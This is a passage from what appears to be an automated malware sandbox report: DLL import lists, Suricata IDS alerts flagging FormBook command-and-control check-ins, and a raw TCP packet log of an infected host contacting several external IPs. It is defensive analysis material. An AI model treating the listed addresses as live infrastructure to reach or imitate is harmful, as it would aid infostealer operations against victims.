ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
OLEAUT32.dll	SafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-07T12:49:21.154773+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.11	49768	TCP
2024-11-07T12:49:49.474950+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49931	154.204.174.144	80	TCP
2024-11-07T12:49:59.762030+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.11	49974	TCP
2024-11-07T12:50:05.850727+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49975	3.33.130.190	80	TCP
2024-11-07T12:50:08.415225+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49976	3.33.130.190	80	TCP
2024-11-07T12:50:10.953700+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49977	3.33.130.190	80	TCP
2024-11-07T12:50:10.953700+0100	2856318	ETPRO MALWARE FormBook CnC Checkin (POST) M4	1	192.168.2.11	49977	3.33.130.190	80	TCP
2024-11-07T12:50:14.834471+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49978	3.33.130.190	80	TCP
2024-11-07T12:50:20.513233+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49979	3.33.130.190	80	TCP
2024-11-07T12:50:23.056080+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49981	3.33.130.190	80	TCP
2024-11-07T12:50:25.975576+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49982	3.33.130.190	80	TCP
2024-11-07T12:50:28.142590+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49983	3.33.130.190	80	TCP
2024-11-07T12:50:33.869243+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49984	13.248.169.48	80	TCP
2024-11-07T12:50:36.409341+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49985	13.248.169.48	80	TCP
2024-11-07T12:50:38.914779+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49986	13.248.169.48	80	TCP
2024-11-07T12:50:41.547898+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49987	13.248.169.48	80	TCP
2024-11-07T12:50:56.350015+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49988	43.155.76.124	80	TCP
2024-11-07T12:50:58.881309+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49989	43.155.76.124	80	TCP
2024-11-07T12:51:01.412527+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49990	43.155.76.124	80	TCP
2024-11-07T12:51:03.975053+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49991	43.155.76.124	80	TCP
2024-11-07T12:51:10.450238+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49992	185.151.30.221	80	TCP
2024-11-07T12:51:13.006045+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49993	185.151.30.221	80	TCP
2024-11-07T12:51:15.589496+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49994	185.151.30.221	80	TCP
2024-11-07T12:51:18.110415+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49995	185.151.30.221	80	TCP
2024-11-07T12:51:24.223217+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49996	217.160.0.93	80	TCP
2024-11-07T12:51:26.631342+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49997	217.160.0.93	80	TCP
2024-11-07T12:51:29.249638+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49998	217.160.0.93	80	TCP
2024-11-07T12:51:31.896958+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49999	217.160.0.93	80	TCP
2024-11-07T12:51:37.653444+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50000	3.33.130.190	80	TCP
2024-11-07T12:51:40.177866+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50001	3.33.130.190	80	TCP
2024-11-07T12:51:42.721189+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50002	3.33.130.190	80	TCP
2024-11-07T12:51:45.288313+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50003	3.33.130.190	80	TCP
2024-11-07T12:51:51.103928+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50004	209.74.64.189	80	TCP
2024-11-07T12:51:53.733373+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50005	209.74.64.189	80	TCP
2024-11-07T12:51:56.275440+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50006	209.74.64.189	80	TCP
2024-11-07T12:51:58.827875+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50007	209.74.64.189	80	TCP
2024-11-07T12:52:04.664559+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50008	3.33.130.190	80	TCP
2024-11-07T12:52:07.189502+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50009	3.33.130.190	80	TCP
2024-11-07T12:52:09.735105+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50010	3.33.130.190	80	TCP
2024-11-07T12:52:12.292403+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50011	3.33.130.190	80	TCP
2024-11-07T12:52:17.958431+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50012	76.223.105.230	80	TCP
2024-11-07T12:52:20.506425+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50013	76.223.105.230	80	TCP
2024-11-07T12:52:23.048854+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50014	76.223.105.230	80	TCP
2024-11-07T12:52:25.599793+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50015	76.223.105.230	80	TCP
2024-11-07T12:52:32.115768+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50016	202.87.223.248	80	TCP
2024-11-07T12:52:34.662675+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50017	202.87.223.248	80	TCP
2024-11-07T12:52:37.227458+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50018	202.87.223.248	80	TCP
2024-11-07T12:52:39.757447+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50019	202.87.223.248	80	TCP
2024-11-07T12:52:45.607505+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50020	3.33.130.190	80	TCP
2024-11-07T12:52:48.158635+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50021	3.33.130.190	80	TCP
2024-11-07T12:52:50.730143+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50022	3.33.130.190	80	TCP
2024-11-07T12:52:53.257544+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50023	3.33.130.190	80	TCP
2024-11-07T12:52:58.928275+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50024	3.33.130.190	80	TCP
2024-11-07T12:53:01.493557+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50025	3.33.130.190	80	TCP
2024-11-07T12:53:04.077244+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50026	3.33.130.190	80	TCP
2024-11-07T12:53:06.633767+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50027	3.33.130.190	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 12:49:48.450843096 CET	49931	80	192.168.2.11	154.204.174.144
Nov 7, 2024 12:49:48.455838919 CET	80	49931	154.204.174.144	192.168.2.11
Nov 7, 2024 12:49:48.456098080 CET	49931	80	192.168.2.11	154.204.174.144
Nov 7, 2024 12:49:48.464101076 CET	49931	80	192.168.2.11	154.204.174.144
Nov 7, 2024 12:49:48.469007015 CET	80	49931	154.204.174.144	192.168.2.11
Nov 7, 2024 12:49:49.422355890 CET	80	49931	154.204.174.144	192.168.2.11
Nov 7, 2024 12:49:49.474950075 CET	49931	80	192.168.2.11	154.204.174.144
Nov 7, 2024 12:49:49.609215021 CET	80	49931	154.204.174.144	192.168.2.11
Nov 7, 2024 12:49:49.609340906 CET	49931	80	192.168.2.11	154.204.174.144
Nov 7, 2024 12:49:49.610692024 CET	49931	80	192.168.2.11	154.204.174.144
Nov 7, 2024 12:49:49.615535021 CET	80	49931	154.204.174.144	192.168.2.11
Nov 7, 2024 12:50:05.228075027 CET	49975	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:05.232980013 CET	80	49975	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:05.233289957 CET	49975	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:05.243096113 CET	49975	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:05.247929096 CET	80	49975	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:05.850630999 CET	80	49975	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:05.850727081 CET	49975	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:06.756289005 CET	49975	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:06.761240959 CET	80	49975	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:07.775235891 CET	49976	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:07.780291080 CET	80	49976	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:07.780412912 CET	49976	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:07.790436029 CET	49976	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:07.795439959 CET	80	49976	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:08.415097952 CET	80	49976	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:08.415225029 CET	49976	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:09.303354979 CET	49976	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:09.308485985 CET	80	49976	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:10.322632074 CET	49977	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:10.327698946 CET	80	49977	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:10.327852964 CET	49977	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:10.338145971 CET	49977	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:10.342994928 CET	80	49977	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:10.343050957 CET	80	49977	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:10.953413963 CET	80	49977	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:10.953700066 CET	49977	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:11.850382090 CET	49977	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:11.855310917 CET	80	49977	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:12.868392944 CET	49978	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:13.259344101 CET	80	49978	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:13.259473085 CET	49978	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:13.266226053 CET	49978	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:13.271265030 CET	80	49978	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:14.834243059 CET	80	49978	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:14.834270000 CET	80	49978	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:14.834284067 CET	80	49978	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:14.834352016 CET	80	49978	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:14.834470987 CET	49978	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:14.834516048 CET	49978	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:14.834724903 CET	80	49978	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:14.834781885 CET	49978	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:14.844712973 CET	49978	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:14.849515915 CET	80	49978	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:19.879607916 CET	49979	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:19.884604931 CET	80	49979	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:19.884696007 CET	49979	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:19.895265102 CET	49979	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:19.900270939 CET	80	49979	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:20.513036966 CET	80	49979	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:20.513232946 CET	49979	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:21.397190094 CET	49979	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:21.402146101 CET	80	49979	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:22.416223049 CET	49981	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:22.421189070 CET	80	49981	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:22.421333075 CET	49981	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:22.431248903 CET	49981	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:22.436095953 CET	80	49981	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:23.055991888 CET	80	49981	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:23.056080103 CET	49981	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:23.943835020 CET	49981	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:23.948800087 CET	80	49981	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:24.963803053 CET	49982	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:24.968630075 CET	80	49982	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:24.968712091 CET	49982	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:24.979244947 CET	49982	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:24.984116077 CET	80	49982	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:24.986068964 CET	80	49982	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:25.975486994 CET	80	49982	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:25.975575924 CET	49982	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:26.490931034 CET	49982	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:26.495879889 CET	80	49982	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:27.517076015 CET	49983	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:27.522243977 CET	80	49983	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:27.522329092 CET	49983	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:27.530569077 CET	49983	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:27.535588026 CET	80	49983	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:28.142074108 CET	80	49983	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:28.142543077 CET	80	49983	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:28.142590046 CET	49983	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:28.144820929 CET	49983	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:50:28.150985956 CET	80	49983	3.33.130.190	192.168.2.11
Nov 7, 2024 12:50:33.171655893 CET	49984	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:33.176551104 CET	80	49984	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:33.176697016 CET	49984	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:33.187330961 CET	49984	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:33.192255020 CET	80	49984	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:33.865762949 CET	80	49984	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:33.869242907 CET	49984	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:34.694114923 CET	49984	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:34.699028969 CET	80	49984	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:35.713203907 CET	49985	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:35.718874931 CET	80	49985	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:35.719382048 CET	49985	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:35.729933977 CET	49985	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:35.735500097 CET	80	49985	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:36.409210920 CET	80	49985	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:36.409341097 CET	49985	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:37.240835905 CET	49985	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:37.245769024 CET	80	49985	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:38.259347916 CET	49986	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:38.264267921 CET	80	49986	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:38.264421940 CET	49986	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:38.274472952 CET	49986	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:38.279335976 CET	80	49986	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:38.279462099 CET	80	49986	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:38.914693117 CET	80	49986	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:38.914778948 CET	49986	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:39.787661076 CET	49986	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:39.792665958 CET	80	49986	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:40.806281090 CET	49987	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:40.811717033 CET	80	49987	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:40.811851025 CET	49987	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:40.821254969 CET	49987	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:40.826230049 CET	80	49987	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:41.515871048 CET	80	49987	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:41.547739983 CET	80	49987	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:41.547898054 CET	49987	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:41.548707008 CET	49987	80	192.168.2.11	13.248.169.48
Nov 7, 2024 12:50:41.553687096 CET	80	49987	13.248.169.48	192.168.2.11
Nov 7, 2024 12:50:55.325315952 CET	49988	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:50:55.330343962 CET	80	49988	43.155.76.124	192.168.2.11
Nov 7, 2024 12:50:55.330630064 CET	49988	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:50:55.341655016 CET	49988	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:50:55.346674919 CET	80	49988	43.155.76.124	192.168.2.11
Nov 7, 2024 12:50:56.294934988 CET	80	49988	43.155.76.124	192.168.2.11
Nov 7, 2024 12:50:56.350014925 CET	49988	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:50:56.479208946 CET	80	49988	43.155.76.124	192.168.2.11
Nov 7, 2024 12:50:56.479264975 CET	49988	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:50:56.851325989 CET	49988	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:50:57.869647026 CET	49989	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:50:57.875206947 CET	80	49989	43.155.76.124	192.168.2.11
Nov 7, 2024 12:50:57.875293970 CET	49989	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:50:57.889300108 CET	49989	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:50:57.894326925 CET	80	49989	43.155.76.124	192.168.2.11
Nov 7, 2024 12:50:58.827074051 CET	80	49989	43.155.76.124	192.168.2.11
Nov 7, 2024 12:50:58.881309032 CET	49989	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:50:59.004594088 CET	80	49989	43.155.76.124	192.168.2.11
Nov 7, 2024 12:50:59.005450010 CET	49989	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:50:59.396976948 CET	49989	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:51:00.416668892 CET	49990	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:51:00.421817064 CET	80	49990	43.155.76.124	192.168.2.11
Nov 7, 2024 12:51:00.421896935 CET	49990	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:51:00.434825897 CET	49990	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:51:00.439738035 CET	80	49990	43.155.76.124	192.168.2.11
Nov 7, 2024 12:51:00.439807892 CET	80	49990	43.155.76.124	192.168.2.11
Nov 7, 2024 12:51:01.362874031 CET	80	49990	43.155.76.124	192.168.2.11
Nov 7, 2024 12:51:01.412527084 CET	49990	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:51:01.540369034 CET	80	49990	43.155.76.124	192.168.2.11
Nov 7, 2024 12:51:01.540451050 CET	49990	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:51:01.945247889 CET	49990	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:51:02.965312004 CET	49991	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:51:02.970273018 CET	80	49991	43.155.76.124	192.168.2.11
Nov 7, 2024 12:51:02.970371008 CET	49991	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:51:02.981317043 CET	49991	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:51:02.986208916 CET	80	49991	43.155.76.124	192.168.2.11
Nov 7, 2024 12:51:03.931895971 CET	80	49991	43.155.76.124	192.168.2.11
Nov 7, 2024 12:51:03.975053072 CET	49991	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:51:04.115753889 CET	80	49991	43.155.76.124	192.168.2.11
Nov 7, 2024 12:51:04.115866899 CET	49991	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:51:04.117058039 CET	49991	80	192.168.2.11	43.155.76.124
Nov 7, 2024 12:51:04.121865988 CET	80	49991	43.155.76.124	192.168.2.11
Nov 7, 2024 12:51:09.218422890 CET	49992	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:09.223381042 CET	80	49992	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:09.223726034 CET	49992	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:09.239365101 CET	49992	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:09.244224072 CET	80	49992	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:10.419018984 CET	80	49992	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:10.450186014 CET	80	49992	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:10.450237989 CET	49992	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:10.740760088 CET	49992	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:11.783433914 CET	49993	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:11.788362980 CET	80	49993	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:11.788511038 CET	49993	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:11.815804958 CET	49993	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:11.820661068 CET	80	49993	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:12.975219011 CET	80	49993	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:13.005969048 CET	80	49993	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:13.006045103 CET	49993	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:13.337390900 CET	49993	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:14.355765104 CET	49994	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:14.360939026 CET	80	49994	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:14.361027002 CET	49994	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:14.376955032 CET	49994	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:14.381917000 CET	80	49994	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:14.381956100 CET	80	49994	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:15.556873083 CET	80	49994	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:15.589031935 CET	80	49994	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:15.589495897 CET	49994	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:15.881540060 CET	49994	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:16.901338100 CET	49995	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:16.906378984 CET	80	49995	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:16.909553051 CET	49995	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:16.917340994 CET	49995	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:16.922473907 CET	80	49995	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:18.079231024 CET	80	49995	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:18.110311985 CET	80	49995	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:18.110414982 CET	49995	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:18.111571074 CET	49995	80	192.168.2.11	185.151.30.221
Nov 7, 2024 12:51:18.116393089 CET	80	49995	185.151.30.221	192.168.2.11
Nov 7, 2024 12:51:23.171356916 CET	49996	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:23.176422119 CET	80	49996	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:23.178827047 CET	49996	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:23.203380108 CET	49996	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:23.208322048 CET	80	49996	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:24.100394011 CET	80	49996	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:24.223130941 CET	80	49996	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:24.223217010 CET	49996	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:24.709574938 CET	49996	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:25.733989000 CET	49997	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:25.739048958 CET	80	49997	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:25.739435911 CET	49997	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:25.749887943 CET	49997	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:25.754858971 CET	80	49997	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:26.582765102 CET	80	49997	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:26.631341934 CET	49997	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:26.705149889 CET	80	49997	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:26.705306053 CET	49997	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:27.256556988 CET	49997	80	192.168.2.11	217.160.0.93
